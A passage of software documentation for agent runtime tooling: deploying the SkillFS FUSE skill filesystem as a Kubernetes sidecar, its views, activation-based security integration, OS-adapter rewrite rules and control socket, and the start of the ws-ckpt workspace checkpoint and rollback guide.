requests, and storage artifact synchronization share this lock. After acquiring an available lock, the worker rechecks lifecycle state before calling the storage provider. A record that still says `Running` after the lock is acquired but retains an unfinished operation or non-running backend ownership is inconsistent and is reported as failed rather than deferred. The first sweep starts after one complete configured interval. Missed timer ticks are skipped instead of queued, preventing a slow sweep from accumulating work. A completed failure affects only that sandbox. Blaze retains storage ownership and leaves lifecycle state unchanged, so a later sweep or destroy can retry. If filesystem work cannot stop at the deadline, it keeps the sandbox operation lock and the single synchronization permit until completion. Later attempts are deferred instead of accumulating additional blocking work. Guest and lifecycle operations that arrive while the lock is retained wait for the provider work to finish; `sync_timeout` bounds scheduler waiting, not those operations. When the service loop stops, Blaze cancels and joins the periodic scheduler. Provider work that cannot be cancelled remains under its sandbox lock until it completes. Daemon-wide connection draining and runtime cleanup remain separate. ===== docs/user-guide/en/runtime/skillfs-kubernetes-sidecar.md ===== # Run SkillFS as a Kubernetes Sidecar [中文版](../../zh/runtime/skillfs-kubernetes-sidecar.md) Run SkillFS beside a Kubernetes workload so the workload reads the SkillFS view without mounting the physical skill source. The SkillFS container owns the FUSE mount; the workload stays non-privileged and receives the propagated view. ## Prerequisites - Kubernetes 1.29 or later. - Linux nodes with `/dev/fuse`. - Permission to run the SkillFS sidecar as privileged. - `docker buildx` and `kubectl`. - A registry that the cluster can pull from. ## Build and push the image Build for the target node architecture: ```bash export IMAGE=registry.example.com/anolisa/skillfs-sidecar:0.4.0 export PLATFORM=linux/amd64 docker buildx build \ --platform "$PLATFORM" \ -f src/skillfs/container/Dockerfile \ -t "$IMAGE" \ --push \ src/skillfs ``` Use `linux/arm64` for ARM64 nodes. ## Deploy The example uses a ConfigMap-backed skill source. Replace it with a PVC for persistent workloads. ```bash export NS=skillfs-container-example kubectl apply -f src/skillfs/deploy/kubernetes/00-namespace.yaml kubectl apply -f src/skillfs/deploy/kubernetes/10-example-configmap.yaml sed "s|skillfs-sidecar:dev|$IMAGE|g" \ src/skillfs/deploy/kubernetes/20-pod.yaml | kubectl apply -f - kubectl -n "$NS" wait \ --for=condition=Ready pod/skillfs-sidecar-example \ --timeout=300s ``` ## Verify the mounted view Read the view from the non-privileged workload container: ```bash export POD=skillfs-sidecar-example export VIEW=/var/lib/skillfs/shared/mount/skills kubectl -n "$NS" exec "$POD" -c agent -- ls -1 "$VIEW" kubectl -n "$NS" exec "$POD" -c agent -- \ cat "$VIEW/skillfs-container-example/SKILL.md" kubectl -n "$NS" exec "$POD" -c agent -- \ cat "$VIEW/skill-discover/SKILL.md" kubectl -n "$NS" exec "$POD" -c agent -- \ cat "$VIEW/skillfs-container-reserve/SKILL.md" ``` The listing must contain `skillfs-container-example` and `skill-discover`, but not `skillfs-container-reserve`. The `skill-discover` output must contain the `reserve` view and the absolute path used by the last command. Secondary skills are hidden from directory listings, while their advertised paths remain readable. ## Verify sidecar restart ```bash kubectl -n "$NS" exec "$POD" -c skillfs -- \ /bin/bash -c 'kill -TERM 1' kubectl -n "$NS" wait \ --for=condition=Ready pod/skillfs-sidecar-example \ --timeout=300s ``` Run the mounted-view commands again after the Pod returns to Ready. ## Use your own workload Edit `src/skillfs/deploy/kubernetes/20-pod.yaml`: 1. replace `skill-source` with your PVC; 2. remove the example ConfigMap and `seed-example` init container; 3. set `SKILLFS_PROBE_FILE` to a stable file in the mounted view; 4. replace the `agent` image and command; 5. keep `Bidirectional` on the SkillFS mount and `HostToContainer` on the workload mount. The workload readiness probe should read meaningful SkillFS content, not only check the directory or run `skillfs --version`. ## Troubleshoot ```bash kubectl -n "$NS" describe pod "$POD" kubectl -n "$NS" logs "$POD" -c skillfs kubectl -n "$NS" logs "$POD" -c skillfs --previous kubectl -n "$NS" get events --sort-by=.lastTimestamp ``` Common causes are blocked privileged containers, missing `/dev/fuse`, incorrect mount propagation, an unreadable probe file, or a read-only source volume. ## Cleanup ```bash kubectl delete namespace "$NS" --wait=true ``` `emptyDir` does not survive Pod recreation. Use a PVC when skill changes must persist across Pods. ===== docs/user-guide/en/runtime/skillfs.md ===== # SkillFS SkillFS is a FUSE-based virtual filesystem for agent skills. It maps a physical skill source tree into a stable runtime view, compiles `SKILL.md` on read, and keeps ordinary files backed by the source tree. SkillFS does not make business-level security decisions. External components such as agent-sec-core or Skill Ledger scan skills and write activation state. SkillFS consumes that state and exposes each skill as live, fallback snapshot, or hidden. ## When to Use It Use SkillFS when you need: - a stable mount path for agents; - separation between the source workspace and the agent-visible view; - default-view filtering plus `skill-discover` for secondary skills; - in-place policy and audit coverage for production access; - Skill Ledger integration for fallback and hidden runtime views; - `.skill-meta` protection from ordinary agent processes. Do not in-place mount an existing hub workspace directly when that workspace also contains registry metadata such as `.hub` directories or external manifests. Keep the hub workspace and the clean SkillFS source root separate. ## Requirements | Requirement | Details | | --- | --- | | OS | Linux for FUSE mounts | | FUSE | FUSE3 (`libfuse3-dev`, `fuse3`, or equivalent) | | Device | `/dev/fuse` must be available | | Rust | 1.86+ for source builds | macOS can run non-FUSE commands such as `validate`, `list`, and `classify`, but it cannot mount SkillFS. ## Installation ```bash # Recommended package install sudo anolisa --install-mode system install skillfs # Source build for developers cd src/skillfs cargo +1.86.0 build --release ``` ## Source Layout SkillFS expects a source directory with one skill per child directory: ```text /path/to/skills/ demo-weather/ SKILL.md scripts/ run.sh demo-search/ SKILL.md config.json ``` The directory name is the canonical runtime skill id. The `name` field inside `SKILL.md` is display metadata and does not override the directory key. Do not treat `.skill-meta` as ordinary agent data. It stores SkillFS and ledger metadata and is hidden from ordinary callers. ## Quick Start ```bash # Validate skills in a source directory skillfs validate /path/to/skills # List all skills skillfs list /path/to/skills # Generate skillfs-views.toml skillfs classify /path/to/skills # Mount the virtual filesystem skillfs mount /path/to/skills /mnt/skillfs --foreground ``` After a normal mount, agents read: ```text /mnt/skillfs/skills//SKILL.md ``` Unmount a foreground test mount with `Ctrl+C` or: ```bash fusermount3 -u /mnt/skillfs ``` ## Mount Layouts ### Normal Mount Normal mount uses different source and mountpoint directories: ```bash skillfs mount /path/to/skills /mnt/skillfs --foreground ``` Agents access skills under `/skills`. Direct writes to the source directory bypass SkillFS policy and audit, while writes through the mount pass through to the source tree. Use normal mount for local development, compatibility checks, and environments where the source workspace is managed by another process. ### In-place Mount In-place mount uses the same directory for source and mountpoint: ```bash skillfs mount /path/to/skills /path/to/skills \ --foreground \ --security-mode \ --audit-log /var/log/skillfs/audit.jsonl ``` SkillFS over-mounts the source directory, so normal userspace access goes through FUSE policy and audit. In-place mounts do not add a `/skills` layer: ```text /path/to/skills//SKILL.md ``` Use in-place mount for production security integration. Tools that replace or rename the mountpoint directory itself, such as workspace checkpoint or rollback tools, must run before mounting or after unmounting. ### Managed Mount `--managed` starts a detached supervisor that keeps the mount desired state as mounted and remounts after unexpected worker exits: ```bash skillfs mount /path/to/skills /mnt/skillfs --managed skillfs stop /mnt/skillfs ``` `skillfs stop ` clears desired state, terminates the supervisor and worker, and unmounts. It is idempotent and safe to run when the mount is already stopped. Managed mode also detects stale or dead FUSE endpoints after unexpected worker termination, clears them, and remounts with bounded recovery retries. Default foreground mounts are unchanged: they still exit and unmount on `SIGTERM` or `Ctrl+C`. ## CLI Utilities ### validate ```bash skillfs validate /path/to/skills skillfs validate /path/to/skills --format json ``` `validate` reports successful, degraded, and failed skill parses. Parse failures are included in the status summary and produce a non-zero exit code; degraded-only skills are reported but keep exit code 0. In JSON output, error and warning entries include a `path` field so consumers can locate the exact offending skill file. ### list and classify ```bash skillfs list /path/to/skills skillfs list /path/to/skills --enabled-only skillfs classify /path/to/skills --primary-count 6 skillfs classify /path/to/skills --dry-run ``` `list` reports discovered skills and metadata. `classify` generates or previews `skillfs-views.toml`; the first N skills go to the default view and the rest go to a secondary view. ## Views and Discovery `skillfs-views.toml` in the source directory controls visibility: ```toml [[view]] name = "major" default = true description = "Core skills shown directly in /skills" skills = ["github", "notion", "slack"] [[view]] name = "other" default = false description = "Additional skills accessible through skill-discover" skills = ["apple-notes", "blogwatcher"] ``` The default view appears directly in the mounted skill view. Secondary views are listed by the virtual `skill-discover` skill, whose `SKILL.md` includes the skill names and source paths. Skills not assigned to any view are added to the default view on the next mount. ## Read and Write Semantics | Operation | Behavior | | --- | --- | | `readdir` | Controlled by views and runtime activation state | | Read `SKILL.md` | Compiled content by default; the selected target's raw content when the directive stage is disabled with no other transform | | Read ordinary files | Passes through to the physical source tree | | Write `SKILL.md` | Writes through and reparses the store | | Write ordinary files | Writes through without changing skill metadata | | Rename skill directory | Uses the directory name as the authoritative key | | Symlink or hardlink | Restricted to safe same-skill relative targets | | `user.*` xattr | Conservative passthrough on ordinary paths | In-place authoring supports newly created skill directories. A fresh directory does not expose a phantom `SKILL.md` before the manifest exists; once `SKILL.md` is written, SkillFS reparses it and exposes the compiled view. Pending or direct-final installs can preserve ordinary top-level skill directory metadata such as mode, timestamps, and ownership. `.skill-meta/**` remains restricted to trusted metadata paths. Without security integration, skills read from the live source tree. When security activation is enabled, visibility is constrained by the active mapping: - current: read from the live source tree, for example through the legacy decision-command resolve path; - fallback: read from a trusted snapshot under `.skill-meta`; - hidden: hide the skill from ordinary callers. In activation file mode, activation JSON expresses fallback and hidden states. It does not write current/live state. If a skill has no activation JSON or activation xattr in this mode, SkillFS treats it as hidden by fail-safe default. ### Permission Sources Visibility decides **which** content is read; permissions decide **whether** it can be read or written. Since 0.4.0 the two are resolved from different sources: | Operation | Permission source | | --- | --- | | Agent-visible read | The activated target's own permissions — for fallback, the snapshot's | | Write | The live source's permissions | A skill can therefore be readable through its snapshot while its live source is not writable. If you relied on reads following live-source permissions before 0.4.0, review the permission bits on your snapshots. ## Read-Time Transforms After the activation target is resolved, `SKILL.md` bytes pass through an ordered transform pipeline before an agent sees them: 1. The **directive** stage runs the conditional compiler (`@if` / `@else` / `@endif` plus heuristic command normalization). It is enabled by default; when present it always runs first, so output is unchanged from earlier releases. Disable it with `[transforms.directive] enabled = false`. 2. The optional **OS adapter** stage runs second and only on `SKILL.md`. It rewrites distribution-specific literals between Ubuntu/Debian and Alinux/Anolis conventions. Both stages are optional: you can run both, directive-only (the default), adapter-only (directive disabled), or neither — an empty pipeline serves the selected raw bytes unchanged. Initialization diagnostics report the actual enabled stage list. | Directive | OS adapter | Agent-visible `SKILL.md` | | --- | --- | --- | | enabled (default) | disabled (default) | Legacy compiler output | | enabled | enabled | Compiler output, then OS adaptation | | disabled | enabled | OS adaptation of raw selected bytes | | disabled | disabled | Raw selected bytes | The pipeline only affects the bytes an agent reads. Source files, trusted snapshots, activation metadata, and the rule artifact are never modified. Hidden skills stay hidden and never enter the pipeline; a fallback read is transformed from the trusted snapshot and never falls back to the live source. The same pipeline and activation ordering applies to flat `/SKILL.md` and Hermes `//SKILL.md` layouts. A snapshot read resolves, reads, and transforms only the selected snapshot; if snapshot target parsing or resolution fails, or its `SKILL.md` cannot be read, the operation returns an error (`ENOENT` at the virtual read boundary) and never retries the live source. `getattr` size, partial reads, and full reads always agree on the transformed bytes. Only `SKILL.md` is adapted — other Markdown, shell, Python, and config files pass through untouched. ### Disabling the Directive Stage The directive/compiler stage stays enabled unless explicitly turned off: ```toml [transforms.directive] enabled = false ``` An absent `[transforms.directive]` section keeps directive compilation enabled, so existing configurations are unaffected. Disabling it only affects the compiler stage; the OS adapter remains independently opt-in. ### Enabling the OS Adapter The OS adapter is disabled by default and configured through the existing `--config ` TOML file (no extra CLI flags). When enabled without a `rules_path`, it uses the built-in catalog: ```toml # /etc/skillfs/skillfs-security.toml [transforms.directive] enabled = true [transforms.os_adapter] enabled = true target_os = "alinux" # auto | ubuntu | alinux # rules_path = "/etc/skillfs/ubuntu-alinux.custom.yaml" ``` ```bash skillfs mount /path/to/skills /mnt/skillfs \ --config /etc/skillfs/skillfs-security.toml ``` SkillFS ships a **built-in 311-rule Ubuntu/Alinux catalog** embedded in the binary from the repository asset, so the adapter works in source builds, RPMs, and containers without a separate file. It stays opt-in. The catalog contains 257 `auto_apply: always` rules and 54 `auto_apply: never` protection rules, producing 223 active substitutions toward Alinux and 192 toward Ubuntu. High-confidence rules are applied; medium- and low-confidence rules remain protection-only. - `target_os = "auto"` reads the exact `/etc/os-release` `ID` once at mount startup — `ubuntu`/`debian` map to Ubuntu, `alinux`/`anolis` map to Alinux. Detection is fail-closed: `ID_LIKE` is not consulted, so RHEL-family derivatives (Rocky, AlmaLinux, CentOS, …) are not silently treated as Alinux, and unrecognized hosts reject the mount. Set `ubuntu` or `alinux` explicitly on other distributions. - `rules_path` is an optional external override. Omit it to use the built-in catalog; set a non-empty path to load an external read-only artifact instead. A present-but-blank path is rejected, not treated as the default. SkillFS loads and validates the chosen artifact once at startup; the per-read path performs only in-memory substitution and never parses YAML, reads `/etc/os-release`, spawns processes, or makes network/LLM calls. - TOML controls which stages run, the target OS, and the rule artifact. The YAML artifact controls individual mappings and eligibility. There is no per-rule TOML switch. ### Enabling Protected Rules and Adding Custom Rules The rule artifact — built-in or external — is a top-level YAML sequence. Each rule declares the literal for each OS side, a `direction`, and a required `auto_apply` flag: ```yaml - ubuntu: "apt-get install -y " alinux: "dnf install -y " direction: bidirectional # bidirectional | ubuntu_to_alinux_only | alinux_to_ubuntu_only match: literal # literal | token — optional, defaults to literal auto_apply: always # always | never — REQUIRED ``` `rules_path` is a **complete replacement**, not an overlay. To retain all built-in mappings and customize only selected entries, copy the repository asset from a source checkout: ```bash cp src/skillfs/crates/skillfs-core/assets/ubuntu-alinux.yaml \ /etc/skillfs/ubuntu-alinux.custom.yaml ``` Then set `rules_path = "/etc/skillfs/ubuntu-alinux.custom.yaml"` in the TOML configuration. An absolute path avoids dependence on the mount process working directory. To opt a protected medium- or low-confidence rule into local policy, change its `auto_apply` value in the copied artifact. For example: ```yaml - ubuntu: "ufw" alinux: "firewalld" direction: ubuntu_to_alinux_only auto_apply: always confidence: low notes: "enabled by local policy" ``` Append complete entries to define local mappings: ```yaml - ubuntu: "acme-agent-dev" alinux: "acme-agent-devel" direction: bidirectional auto_apply: always confidence: high notes: "local package mapping" ``` `ubuntu`, `alinux`, `direction`, and `auto_apply` are required. `match` is optional; `confidence` and `notes` are optional inert annotations. The external file must also retain any built-in rules you still want: SkillFS does not merge it with the embedded catalog. Rules are loaded once when the mount starts; remount after editing the file. There is currently no catalog overlay, hot reload, per-rule identifier, or export command. - `auto_apply` is required on every rule, including external override artifacts; only `auto_apply: always` rules are applied, and only in a direction the resolved target allows. An artifact that omits `auto_apply` is rejected with an error naming the rule index. - `confidence` and `notes` are accepted as annotations with no behavior — eligibility is governed solely by `auto_apply`. - `match` defaults to `literal`, preserving substring matching for existing artifacts. `match: token` requires ASCII-alphanumeric boundaries at alphanumeric source edges in both directions: `cron` matches at EOF or before whitespace/newlines/punctuation, but not inside `micron`, `crontab`, `cronutils`, or `cron2`. - Substitution is a single non-cascading pass; at each position the longest matching pattern wins, so overlapping patterns never chain and file order does not affect the result. - Ineligible patterns (`auto_apply: never`, identity, or direction-disallowed) still match and are emitted unchanged, protecting their whole span so a shorter eligible rule cannot rewrite inside them. Protection is deduplicated by `(source, match)`: a substitution removes protection only for the same source and mode. Different modes coexist; substitution wins only when its own mode matches the input, otherwise matching protection still preserves the span. - A many-to-one forward mapping must resolve reverse ambiguity explicitly: mark one pair `bidirectional` (canonical reverse) and the alternates `ubuntu_to_alinux_only`. Colliding `bidirectional` reverses are rejected. When enabled, a missing/unreadable external `rules_path`, a blank `rules_path`, malformed YAML, a missing or invalid `direction`/`auto_apply` value, an invalid `match` value, duplicate or ambiguous patterns, or an unrecognized `target_os = "auto"` host reject the mount before it starts with an actionable error. ## Security Integration ### Activation File Mode Use activation file mode when an external daemon receives SkillFS mutation events, scans the source tree, and writes activation metadata: ```bash skillfs mount /path/to/skills /mnt/skillfs \ --foreground \ --security \ --activation-mode file \ --notify-socket "$XDG_RUNTIME_DIR/agent-sec-core/daemon.sock" \ --activation-events-log /var/log/skillfs/activation-events.jsonl \ --activation-reload-mode poll ``` Flow: ```text Agent or installer writes through SkillFS -> SkillFS sends a notify event -> Skill Ledger scans and writes activation state -> SkillFS reloads activation state -> the skill becomes live, fallback, or hidden ``` `--activation-reload-mode poll` requires `--notify-socket` or `--activation-events-log`, because SkillFS needs a trigger source for polling. `--notify-socket` points at a socket the **external daemon** listens on, not one SkillFS creates. In a joint deployment with Skill Ledger this is the agent-sec-core daemon endpoint, which defaults to `$XDG_RUNTIME_DIR/agent-sec-core/daemon.sock` and can be overridden with `AGENT_SEC_DAEMON_SOCKET`. Note that a failed notify delivery is only a warning and never stops the FUSE service, so pointing at the wrong path shows up as skills staying hidden rather than as an obvious error. For in-place activation and notify mounts, set `--ledger-backing-root` to a daemon-visible backing source path and enable the authenticated resolver. Notify v2 carries canonical identity only, so startup rejects an in-place notify configuration that omits `--trusted-peer-exe`. The same resolver requirement applies to an out-of-place notify mount whenever it explicitly configures `--ledger-backing-root`: ```bash skillfs mount /path/to/skills /path/to/skills \ --security-mode \ --security \ --activation-mode file \ --notify-socket "$XDG_RUNTIME_DIR/agent-sec-core/daemon.sock" \ --trusted-peer-exe /usr/bin/python3.11 \ --ledger-backing-root /run/user/$UID/skillfs-ledger/source ``` Avoid `/tmp` and `/var/tmp` for daemon integration paths when the daemon runs with `PrivateTmp=true`; those paths are invisible to the daemon and rejected by startup validation. ### Control Socket The trusted control socket is the preferred production path for activation writes and for the read-only resolver query: ```bash skillfs mount /path/to/skills /mnt/skillfs \ --security \ --activation-mode file \ --control-socket /run/skillfs/control.sock \ --trusted-peer-exe /usr/bin/python3.11 ``` The socket requires `--security --activation-mode file`, is mutually exclusive with `--decision-command`, and requires a pinned trusted peer executable. Peer validation uses Linux peer credentials and executable identity checks. The packaged AgentSecCore daemon starts the Skill Ledger worker with `sys.executable`, which resolves to `/usr/bin/python3.11`; the worker is not a `/usr/bin/skill-ledger` executable. For a custom virtual environment, run the following with the exact interpreter that starts the daemon and configure the real path it prints: ```bash /path/to/ledger/python -c 'import os, sys; print(os.path.realpath(sys.executable))' ``` This M1 executable gate trusts that Python interpreter, not a particular module. Keep SkillFS and the Ledger worker in the same UID/security domain and account for the fact that another process under that UID using the same interpreter also satisfies the executable identity check. #### Endpoint and priority The control plane is opt-in and authenticated. The endpoint is resolved by priority: 1. CLI `--control-socket ` 2. `[control_socket].path` in the config file 3. the default per-user endpoint `/run/user//skillfs/control.sock` A trusted peer with no explicit path uses the default endpoint; an explicit path with no trusted peer is a configuration error; neither leaves the control plane off. The default endpoint never falls back to `/tmp` or `/var/tmp` — if `/run/user/` is unavailable, startup fails with an actionable error and you must pass `--control-socket` explicitly. A second instance never unlinks an active endpoint; only a confirmed-stale socket that SkillFS owns is reclaimed. No `register`, `mountId`, or `generation` handshake is required — the endpoint is stable per UID and the resolver is queried directly. > **Do not use a custom endpoint in a joint deployment with Skill Ledger.** The > Skill Ledger resolver client only probes the default > `/run/user//skillfs/control.sock`; no configuration key or command-line > option makes it follow a custom path. If you point `--control-socket` or > `[control_socket].path` elsewhere, Ledger fails to find the default socket and > silently falls back to host mode, canonical path resolution stops working, and > neither side reports an error. This is a current M1 limitation. Supported JSONL request examples: ```json {"schemaVersion":"1","method":"ping"} {"schemaVersion":"1","method":"status"} {"schemaVersion":"1","method":"meta.writeActivation","skillName":"demo-weather","activation":{"schemaVersion":1,"target":null}} {"schemaVersion":"1","method":"meta.setActivationXattr","skillName":"demo-weather","activation":{"schemaVersion":1,"target":null}} {"schemaVersion":"1","method":"skill.resolveLiveSource","canonicalSkillDir":"/path/to/skills/apple/apple-notes"} ``` #### `skill.resolveLiveSource` A read-only query that maps a canonical Skill directory to its physical live/backing source. The only business parameter is `canonicalSkillDir`. It has three distinct outcomes: - **`managed=true`** — the path is inside the managed canonical root and resolves to a valid live Skill directory. The response includes the derived `skillId`, `relativeSkillDir`, the physical `liveSkillDir`, the live directory's `identity` (`device`, `inode`), and `transport` (`shared_path`). The query is read-only: it triggers no scan, manifest build, policy decision, or activation write. - **`managed=false`** — the request is well-formed and `canonicalSkillDir` is a valid absolute path outside the managed root (`reason: not_managed`). This is a normal success; the caller may manage that directory directly. - **structured error** — a non-absolute or non-normalized path (including repeated or trailing `/`), an illegal `..` segment, a symlink/path escape, a management/reserved directory, a missing Skill directory, an invalid layout / missing `SKILL.md`, an unreadable live source, or peer-authentication failure. These are never disguised as `managed=false`. The skill id is derived from the canonical relative path, so both flat (`my-skill`) and Hermes nested (`apple/apple-notes`) layouts resolve to full ids. S1 implements a single source runtime; the endpoint is shared across future multiple canonical roots. > Note: `skill.resolveLiveSource` (SkillFS S1) is a read-only resolver. notify > v2 and deletion-state semantics are not part of S1. #### Notify v2 `skill_ledger.skillfs_notify_change` uses schema version 2. Its business payload contains only `canonicalSkillDir`, the complete `skillId`, `eventKind`, and relative `paths`. Flat ids stay intact (`weather`), and Hermes ids retain both components (`category/weather`). SkillFS sorts and deduplicates paths; an empty array requests a whole-Skill rescan, including when the path limit is exceeded. The canonical directory is derived from the absolute, lexically normalized source identity without following a source-root symlink. The physical live/backing root remains private to activation and the S1 resolver, so backing paths never appear in notifications. The daemon must accept v2 directly and return `schemaVersion=2` with `accepted=true`; there is no v1 fallback or negotiation. ### Trusted Mount-path Writer `--trusted-writer-exe ` is a compatibility gate for trusted writers that write through the mount path. Prefer the control socket for new production integrations. `--trusted-writer ` is deprecated and only matches the Linux process `comm` name. Use executable identity when compatibility allows it. ### Decision-command Mode `--security --decision-command ` is the legacy compatibility path. SkillFS invokes the external command for scan and resolve decisions. Decision-command mode is mutually exclusive with activation file mode, `--notify-socket`, `--activation-events-log`, `--ledger-backing-root`, and `--control-socket`. ## Install Protocols SkillFS supports installer-friendly lifecycle paths: - staging roots can be hidden from ordinary listing while exact staging paths remain writable; - direct-to-final installs can remain hidden until activation appears; - `/.skillfs-inbox//...` is an install or repair entry point for hidden or new skills; writes land in the source tree and can trigger the external security flow; - quiet-timeout notification can aggregate install mutations after a configured quiet window; - post-publish grace can allow bounded installer metadata writes after publish; - post-publish grace paths for fallback skills are routed to the live source so installers can finish metadata updates after publish. These behaviors are configured through the SkillFS TOML config and require a notify source such as `--notify-socket` or `--activation-events-log`. ## Observability ### Audit and Activation Logs `--audit-log ` writes filesystem audit events as JSONL. `--activation-events-log ` writes activation protocol events as JSONL for daemon-driven activation flows. When the OS adapter is enabled, a successful read-only Open of a virtual flat or Hermes `SKILL.md` includes content-free adapter context in `detail`: `transform=os_adapter target_os= rule_digest=`. It records only the enabled stage, resolved target OS, and rule-artifact digest — never source content, transformed content, a diff, or rule literals. Successful per-syscall Read events remain suppressed to avoid high-volume audit flooding. ### SLS Ops and Runtime Metrics SkillFS writes best-effort SLS records to: ```text /var/log/anolisa/sls/ops/skillfs.jsonl ``` The file is owned and pre-created by the deployment/SLS component. SkillFS only appends when the file exists; it never creates the file or parent directory, and write failures do not change CLI or FUSE behavior. The following CLI commands append ops records: `mount`, `list`, `validate`, and `classify`. While a mount is alive, runtime metric records use `record_type = "runtime_metric"` and include mount lifecycle, view pruning, skill hits, and security policy outcomes. The legacy mount-session summary shares the same file for compatibility. ## Common Options | Option | Purpose | | --- | --- | | `--foreground` | Run in the foreground | | `--managed` | Start a detached supervised mount | | `--security-mode` | Require source and mountpoint to be the same path | | `--skill-layout ` | `auto` (default, detect Hermes from source-root markers), `flat`, or `hermes`; `hermes` is incompatible with `--decision-command` | | `--security` | Enable security integration | | `--activation-mode file` | Consume activation JSON/xattr state | | `--activation-reload-mode poll` | Poll activation after notify triggers | | `--notify-socket ` | Send mutation events to an external daemon | | `--activation-events-log ` | Write activation protocol events as JSONL | | `--audit-log ` | Write filesystem audit events as JSONL | | `--audit-queue-capacity ` | Queue size for the audit writer thread; `0` uses the built-in default, and it only applies with `--audit-log` | | `--events-log ` | Write legacy security decision events as JSONL; only applies with `--security --decision-command` | | `--control-socket ` | Override the control socket endpoint (default: `/run/user//skillfs/control.sock`); do not use in a joint deployment with Skill Ledger | | `--trusted-peer-exe ` | Pin the trusted control socket peer (enables the control plane on the default endpoint if no path is given) | | `--trusted-peer-uid ` | Additionally constrain the control socket peer's UID (from `SO_PEERCRED`) | | `--trusted-peer-gid ` | Additionally constrain the control socket peer's GID (from `SO_PEERCRED`) | | `--trusted-writer-exe ` | Pin a trusted mount-path writer | | `--ledger-backing-root ` | Provide a daemon-visible source view | | `--decision-command ` | Use legacy external decision mode | | `--pid-file ` | Write a process pid file | | `--allow-other` | Allow other users to access the FUSE mount | | `--config ` | Load SkillFS TOML configuration | | `-v`, `--verbose` | Enable debug logging | | `--log-file ` | Write logs to a file | ## Troubleshooting **A newly installed skill is not visible.** With security activation enabled, new skills can remain hidden until the ledger writes activation state. Check notify delivery and activation reload events. **Fallback reads an older version.** Fallback intentionally reads a trusted snapshot under `.skill-meta`, not the live source tree. **`.skill-meta` is not listed.** This is expected for ordinary callers. Trusted peers can access metadata through the configured trusted path. **Notify socket failures appear in logs.** Notify failures are warnings and do not stop FUSE service, but the external daemon may miss mutation events until the socket is fixed. **In-place activation fails at startup.** Check that `--ledger-backing-root` is set and visible to the daemon. Avoid `/tmp` and `/var/tmp` with services that use `PrivateTmp=true`. **A managed mount survived the launcher restart.** That is expected. Stop it with `skillfs stop `. ## More References - [SkillFS README](../../../../src/skillfs/README.md) - [External decision protocol](../../../../src/skillfs/docs/security/external-decision-protocol.md) - [Runtime activation plan](../../../../src/skillfs/docs/security/runtime-activation-implementation-plan.md) - [FUSE crate layout](../../../../src/skillfs/docs/architecture/fuse-crate-layout.md) ===== docs/user-guide/en/runtime/ws-ckpt.md ===== # Workspace Checkpoints (ws-ckpt) ws-ckpt provides millisecond-level workspace checkpoint and rollback for AI Agents. It leverages filesystem COW (Copy-on-Write) to create instant snapshots of the working directory, enabling safe experimentation and fast recovery. --- ## Overview When AI Agents modify code, configurations, or data files, mistakes can be costly. ws-ckpt allows Agents (and users) to: - Create instant snapshots before risky operations - Roll back to any previous checkpoint in milliseconds - Compare differences between checkpoints - Auto-checkpoint via plugin integration --- ## Prerequisites - Linux (x86_64 or aarch64) - btrfs filesystem on the workspace volume (for native COW snapshots), or any filesystem (ws-ckpt will create a btrfs loop image automatically) - Agent runtime: OpenClaw or Hermes (for plugin mode) --- ## Installation ### Option 1: anolisa CLI (recommended) ```bash sudo anolisa --install-mode system install ws-ckpt ``` ### Option 2: YUM (Alinux, requires ANOLISA YUM repo) ```bash sudo yum install ws-ckpt ``` ### Option 3: Source build (developers) ```bash cd src/ws-ckpt && make build ``` --- ## Plugin Installation Install the ws-ckpt plugin for your Agent runtime: ```bash # For OpenClaw ws-ckpt plugin install --runtime openclaw # For Hermes ws-ckpt plugin install --runtime hermes # Uninstall ws-ckpt plugin uninstall --runtime openclaw ``` `plugin install` first runs a detect script to verify prerequisites (exit 2 = missing prerequisite, abort; exit 1 = not installed but installable, continue), then runs the install script. Scripts live under `/usr/share/anolisa/adapters/ws-ckpt//`. --- ## CLI Commands | Command | Description | |---------|-------------| | `ws-ckpt init -w ` | Initialize a workspace for checkpointing | | `ws-ckpt checkpoint -w -s -m [--metadata ]` | Create a new checkpoint | | `ws-ckpt rollback -w -s [--preview]` | Restore workspace to a checkpoint | | `ws-ckpt rollback -w -n ` | Rollback N ancestors | | `ws-ckpt list [-w ] [--format table\|json]` | List all checkpoints | | `ws-ckpt diff -w -f [-t ]` | Show differences between checkpoints | | `ws-ckpt delete [-w ] -s [--force]` | Delete a specific checkpoint | | `ws-ckpt status [-w ] [--format table\|json]` | Show current workspace status | | `ws-ckpt cleanup -w [--keep 20]` | Remove old checkpoints | | `ws-ckpt config [-g \| -w ] [--enable-auto-cleanup] [--auto-cleanup-keep ]` | View/edit configuration | | `ws-ckpt plugin install --runtime openclaw\|hermes` | Install runtime plugin | | `ws-ckpt plugin uninstall --runtime openclaw\|hermes` | Uninstall runtime plugin | | `ws-ckpt recover [-w \| --all] [--force]` | Recover from interrupted operations | | `ws-ckpt reload` | Reload daemon configuration | | `ws-ckpt daemon [--mount-path ...] [--socket ...] [--log-level ...]` | Start the daemon process | ### Examples ```bash # Initialize a workspace ws-ckpt init -w /home/user/projects/my-project # Create a checkpoint ws-ckpt checkpoint -w /home/user/projects/my-project -s snap-001 -m "before refactor" # List checkpoints ws-ckpt list -w /home/user/projects/my-project # Diff between two snapshots ws-ckpt diff -w /home/user/projects/my-project -f snap-001 -t snap-002 # Rollback to a specific checkpoint ws-ckpt rollback -w /home/user/projects/my-project -s snap-001 # Preview rollback without applying ws-ckpt rollback -w /home/user/projects/my-project -s snap-001 --preview # Cleanup old checkpoints, keep last 20 ws-ckpt cleanup -w /home/user/projects/my-project --keep 20 # Enable auto-cleanup for workspace ws-ckpt config -w /home/user/projects/my-project --enable-auto-cleanup --auto-cleanup-keep 7d ``` ### diff Output Markers | Marker | Meaning | Color | |--------|---------|-------| | `+` | File/directory added | Green | | `-` | File/directory deleted | Red | | `M` | Content modified | Yellow | | `R` | Renamed | Cyan | > diff ships a smart resolver that maps btrfs low-level transient inode references (such as `o261-118-0`) to real file paths and dedupes multiple operations on the same file. Rollback previews (`rollback --preview`) use the same marker semantics. --- ## Configuration ### Daemon Configuration The daemon configuration file is located at `/etc/ws-ckpt/config.toml`. This is a system-level configuration for the ws-ckpt daemon process. There is no user-side global config file. Auto-checkpoint and cleanup behavior are controlled per-plugin: ### OpenClaw Plugin Configuration ```json // ~/.openclaw/ws-ckpt.json { "autoCheckpoint": true, "workspace": "/home/user/projects/my-project" } ``` ### Hermes Plugin Configuration ```bash hermes config set plugins.ws-ckpt.workspace /home/user/projects/my-project ``` ### CLI-Based Configuration Configuration has two layers: **global** (`/etc/ws-ckpt/config.toml`, daemon-wide defaults) and **local** (per-workspace `policy.toml` overrides). Running `ws-ckpt config` without a scope prints a 